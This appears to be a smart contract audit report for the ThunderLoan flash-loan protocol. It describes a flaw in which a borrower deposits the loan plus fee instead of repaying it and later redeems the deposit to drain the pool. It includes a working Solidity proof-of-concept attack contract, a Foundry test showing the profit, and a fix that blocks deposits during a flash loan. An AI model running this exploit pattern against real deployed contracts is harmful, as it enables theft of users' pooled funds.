Summary
The function ThunderLoan::flashloan
incorrectly validates if the flash loan amount and fee were repaid, allowing malicious users to drain underlying tokens from the protocol.
Vulnerability Details
ThunderLoan::flashloan
validates that endingBalance >= startingBalance + fee
by fetching the underlying token balance of AssetToken
contract. These validations assume the receiver will ThunderLoan::repay
the flash loan amount plus the fee at the end of executeOperation
callback function. Instead, a malicious user can take out a flash loan amount and ThunderLoan::deposit
the amount plus fee, to bypass the final validation, as both repaying and deposit increase AssetToken
underlying balance. After flash loan is over, user can call ThunderLoan::redeem
and steal the funds.
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
=> uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
=> uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
The hacker can follow these steps to drain funds from the protocol:
Get some WETH to pay Flash Loan fees
Send fee to BadFlashLoanReceiver
Execute Flash Loan
Flash Loan amount is deposited into thunderLoan (to bypass repay check)
Flash Loan finished, we never repay, as thunderLoan only checks token balance in assetToken contract
Redeem from thunderLoan, get WETH back
Profit
Impact
Loss of funds in AssetToken
contracts.
Here is a PoC that validates the vulnerability:
function testFlashLoanAttackIncorrectValidation() public {
thunderLoan.setAllowedToken(weth, true);
_deposit(address(weth), ALICE, DEPOSIT_AMOUNT);
_deposit(address(weth), BOB, DEPOSIT_AMOUNT);
uint256 fee = DEPOSIT_AMOUNT * thunderLoan.getFee() / thunderLoan.getFeePrecision();
deal(address(weth), address(this), fee);
uint256 startingBalance = weth.balanceOf(address(this));
BadFlashLoanReceiver receiver = new BadFlashLoanReceiver(address(thunderLoan));
weth.transfer(address(receiver), fee);
receiver.hack(address(weth), DEPOSIT_AMOUNT);
uint256 endingBalance = weth.balanceOf(address(this));
assertGt(endingBalance, startingBalance);
assertGt(endingBalance, DEPOSIT_AMOUNT);
console.log("Profit amount: %s", endingBalance - startingBalance);
}
The MockFlashLoanReceiver
is modified to perform the hack:
function hack(address token, uint256 amount) external {
IThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), amount, "");
AssetToken assetToken = AssetToken(IThunderLoan(s_thunderLoan).getAssetFromToken(IERC20(token)));
IThunderLoan(s_thunderLoan).redeem(IERC20(token), assetToken.balanceOf(address(this)));
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
)
external
returns (bool)
{
IERC20(token).approve(s_thunderLoan, amount + fee);
IThunderLoan(s_thunderLoan).deposit(token, amount + fee);
return true;
}
Here is the output when executing this unit test:
forge test --mt testFlashLoanAttackIncorrectValidation -vv
[⠒] Compiling...
No files changed, compilation skipped
Running 1 test for test/unit/AuditTest.t.sol:AuditTest
[PASS] testFlashLoanAttackIncorrectValidation() (gas: 1871000)
Logs:
Profit amount: 10010080212669835473
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.46ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Recommendations
The protocol should prevent users from calling ThunderLoan::deposit
when a flash loan is active.
Here is the recommended code change:
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan_CurrentlyFlashLoaning();
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
The previous PoC unit test now fails:
forge test --mt testFlashLoanAttackIncorrectValidation -vv
[⠒] Compiling...
No files changed, compilation skipped
Running 1 test for test/unit/AuditTest.t.sol:AuditTest
[FAIL. Reason: ThunderLoan_CurrentlyFlashLoaning()] testFlashLoanAttackIncorrectValidation() (gas: 2183768)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.89ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)